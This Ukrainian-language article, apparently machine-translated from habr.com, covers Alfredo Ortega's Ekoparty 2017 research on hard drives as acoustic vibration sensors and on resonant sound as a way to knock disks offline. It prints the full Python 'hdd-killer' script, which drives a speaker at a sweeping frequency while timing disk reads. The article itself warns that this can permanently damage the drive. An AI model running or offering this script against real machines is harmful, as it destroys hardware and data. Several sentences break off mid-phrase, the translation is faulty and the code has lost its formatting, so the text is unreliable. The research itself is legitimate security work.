На конференції з комп'ютерної безпеки Ekoparty 2017 у Буенос-Айресі аргентинський хакер Альфредо Ортега показав дуже цікаву розробку - систему прихованого прослуховування приміщень без використання мікрофона. Звук
HDD вловлює в основному низькочастотні звуки високої інтенсивності, кроки та інші вібрації. Людську мову розпізнати поки не можна, хоча вчені
Звук – це коливання повітря чи іншого середовища. Людина сприймає їх через барабанну перетинку, яка передає коливання у внутрішнє вухо. Мікрофон влаштований приблизно як вухо – тут також коливання реєструються тонкою мембраною, яка збуджує електричний імпульс. Жорсткий диск, зрозуміло, теж схильний до мікроскопічних вібрацій через коливань навколишнього повітря. Це відомо навіть за технічними характеристиками HDD: виробники зазвичай вказують максимально допустимий рівень вібрацій, а жорсткий диск часто намагаються помістити в захищений від вібрацій контейнер з гуми або іншого ізоляційного матеріалу. З цього легко зробити висновок, що HDD можна реєструвати звуки. Залишилось лише придумати, як.
Альфредо Ортега запропонував своєрідний варіант атаки сторонніми каналами (side-channel attack), а саме атаки за часом. Ця атака ґрунтується на припущенні, що різні операції виконуються у пристрої за різний час, залежно від поданих вхідних даних. В даному випадку «вхідними даними» є коливання головки, що зчитує, і пластини HDD, які корелюють з вібраціями середовища, тобто зі звуком. Таким чином, вимірюючи час обчислень та проводячи статистичний аналіз даних, можна виміряти коливання головки/пластини і, отже, вібрації середовища. Чим більша затримка в зчитуванні даних — тим сильніше коливання HDD і, отже, гучніший звук.
Як виміряти коливання жорсткого диска? Дуже просто: достатньо лише запустити системний виклик read ()
- І зареєструвати час, за який він виконується. Сучасні операційні системи дають змогу зчитувати таймінг системних викликів з точністю до наносекунди.
Швидкість читання інформації з сектора залежить від положення головки та пластини, що корелює з вібраціями корпусу HDD. От і все.
Статистичний аналіз здійснюється за допомогою простенької утиліти Kscope. Як то кажуть, все геніальне просто.
Утиліта Kscope (stat() syscall)
Kscope - невелика утиліта для візуалізації крихітних відмінностей у часі виконання системних викликів. Вихідний код
В окремому репозиторії read ()
.
Демонстрація звукозапису за допомогою HDD, робота утиліти Kscope
Звичайно ж, мова не можна розібрати в такий спосіб, але як датчик вібрацій HDD цілком згодиться. Наприклад, ви можете реєструвати, якщо в приміщення з комп'ютером зайшла людина у твердому взутті або босоніж (ймовірно, якщо зловмисник взутий у м'які кросівки або на підлозі постелений товстий килим, то HDD не зможе зареєструвати вібрації – це варто перевірити). Комп'ютер здатний зареєструвати розбите скло або іншу пригоду із сильною інтенсивністю звуку. Тобто, жорсткий диск може виконувати роль своєрідної системи виявлення несанкціонованих проникнень.
HDD-кілер
До речі, схожу техніку можна використовувати для виведення жорстких дисків. Тільки тут ми не знімаємо коливання з HDD, а навпаки – генеруємо коливання, що подаються на HDD. Якщо відтворювати з колонки звук на частоті, яка резонує з частотою HDD, система незабаром відключає пристрій з помилкою вводу-вывода (ядро Linux повністю відключає HDD через 120 секунд). Жорсткий диск може отримати незворотні пошкодження.
Ядро Linux відключило жорсткий диск після 120 секунд подачі звуку на частоті резонації через динамік USB-колонки Edifier r19u. Динамік включений приблизно на чверть потужності (менше 100 мВт) і розташовується за 20 см від HDD, спрямований на стіл для посилення вібрацій. Кадр із
Цікаво, що такі «атаки» на HDD іноді відбуваються випадково у звичайному житті. Наприклад, у вересні 2016 року дата-центр ING Bank був змушений призупинити роботу на 10 годину після пожежних навчань.
Демонстрація людського крику на жорсткі диски в центрі дати. Вимірювання затримки
Для створення резонуючого звуку Альфредо Ортега написав пітонівський скрипт під назвою
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Джерело: habr.com